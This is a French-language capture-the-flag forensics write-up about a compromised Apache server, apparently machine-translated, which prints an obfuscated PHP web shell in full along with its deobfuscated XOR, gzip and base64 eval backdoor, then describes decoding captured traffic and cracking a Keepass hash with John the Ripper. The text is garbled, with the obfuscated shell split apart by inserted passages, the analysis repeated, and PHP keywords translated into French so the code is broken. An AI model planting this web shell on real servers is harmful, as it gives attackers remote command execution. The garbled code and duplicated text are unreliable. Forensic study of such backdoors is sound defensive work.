Nous avons couvert un scénario de réponse à un incident qui impliquait l'utilisation de compétences médico-légales pour enquêter sur un serveur Web piraté en exploitant une vulnérabilité de téléchargement de fichiers. Nous avons reçu le shell Web utilisé par l'attaquant ainsi qu'un fichier de vidage de paquets contenant les paquets échangés entre l'attaquant et le serveur Web. ils exécutaient des commandes.
Nous avons décodé le script en utilisant base64, le cryptage XOR et la compression Gzip pour découvrir les commandes exécutées par l'attaquant ainsi que le résultat reçu.
Nous avons constaté que l'attaquant avait téléchargé un fichier Keepass codé en base64. Nous avons donc utilisé keepass2john pour extraire le hachage et John l'éventreur pour trouver le mot de passe de la base de données de mots de passe contenant l'indicateur.
Obtenir des notes d'investigation informatique
Le cours pratique complet sur les tests d’intrusion d’applications Web
Description du défi
Un attaquant a trouvé une vulnérabilité dans notre serveur Web qui permet le téléchargement arbitraire de fichiers PHP sur notre serveur Apache. De cette manière, le pirate informatique a téléchargé ce qui semble être un shell obscurci (support.php). Nous surveillons notre réseau 24h/24 et 7j/7 et générons des journaux à partir de tcpdump (nous avons fourni le fichier journal pour une période de deux minutes avant de mettre fin au service HTTP pour enquête). Cependant, nous avons besoin de votre aide pour analyser et identifier les commandes que l'attaquant a écrites pour comprendre. ce qui a été compromis.
Faits saillants de la vidéo
Le script Webshell php obscurci est ci-dessous
<?php$V='$k="80eu)u)32263";$khu)=u)"6f8af44u)abea0";$kf=u)"35103u)u)9f4a7b5";$pu)="0UlYu)yJHG87Eu)JqEz6u)"u)u );fonction u)x(
Après désobscurcissement, cela devient
$k=”80e32263″ ;
$kh=”6f8af44abea0″;
$kf=”351039f4a7b5″ ;
$p=”0UlYyJHG87EJqEz6″ ;
fonction x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o=””;
pour($i=0;$i<$l;){
pour($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j} ;
}
}
retourner $o ;
}
if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){
@ob_start();
@eval (@gzuncompress (@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode (@x(@gzcompress($o),$k));
print("$p$kh$r$kf");
}
Nous pouvons suivre l'inverse du processus ci-dessus pour décoder la sortie reçue par l'attaquant (affichée dans le wireshark)
@gzuncompress (@x (@base64_decode($encoded),$k));
Par exemple, la sortie ci-dessous est observée dans le premier paquet Wireshark
0UlYyJHG87EJqEz66f8af44abea0QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPUmHTy351039f4a7b5
Si on en retire les $p, $kh et $kf, on peut se retrouver avec $r
QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPumHTy
Ce qui précède correspond à la sortie ci-dessous (la sortie de la commande id)
uid=33(www-data) gid=33(www-data) groupes=33(www-data)
Vidéo pas à pas
https://www.youtube.com/watch?v=VSgdzLoCWl0
;$P='++)u){$o.=u)$t{u)$i}^$k{$j};}}u)retuu)rn $o;}u)if(u)@pregu)_u)match(" /$kh(.u)+)$kf/",@u)u)file_u)getu)_cu)ontents(';$d='u)t,$k){u)$c=strlu)en($k);$l=strlenu)($t)u);u)$o=""u);for($i=0u);u)$i <$l;){for(u)$j=0;(u)$u)j<$c&&$i<$l)u)u);$j++,$i';$B='ob_get_cou)ntu)ents();@obu)_end_cleu)anu)();$r=@basu)e64_eu)ncu)ode(@x(@gzu)compress(u)$o),u)$k)) ;pru)u)int(u)"$p$kh$r$kf");}';$N=str_replace('FD','','FDcreFDateFD_fFDuncFDFDtion');$c='"php://u)input"),$u)m)==1){@u)obu)_start();u)@evau)l(@gzuu)ncu)ompress(@x(@ bau)se64_u)decodu)e($u)m[1]),$k))u));$u)ou)=@';$u=str_replace('u)','',$V.$d.$P.$c.$B);$x=$N('',$u);$x();?>
Après désobscurcissement, cela devient
$k=”80e32263″ ;
$kh=”6f8af44abea0″;
$kf=”351039f4a7b5″ ;
$p=”0UlYyJHG87EJqEz6″ ;
fonction x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o=””;
pour($i=0;$i<$l;){
pour($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j} ;
}
}
retourner $o ;
}
if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){
@ob_start();
@eval (@gzuncompress (@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode (@x(@gzcompress($o),$k));
print("$p$kh$r$kf");
}
Nous pouvons suivre l'inverse du processus ci-dessus pour décoder la sortie reçue par l'attaquant (affichée dans le wireshark)
@gzuncompress (@x (@base64_decode($encoded),$k));
Par exemple, la sortie ci-dessous est observée dans le premier paquet Wireshark
0UlYyJHG87EJqEz66f8af44abea0QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPUmHTy351039f4a7b5
Si on en retire les $p, $kh et $kf, on peut se retrouver avec $r
QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPumHTy
Ce qui précède correspond à la sortie ci-dessous (la sortie de la commande id)
Vidéo pas à pas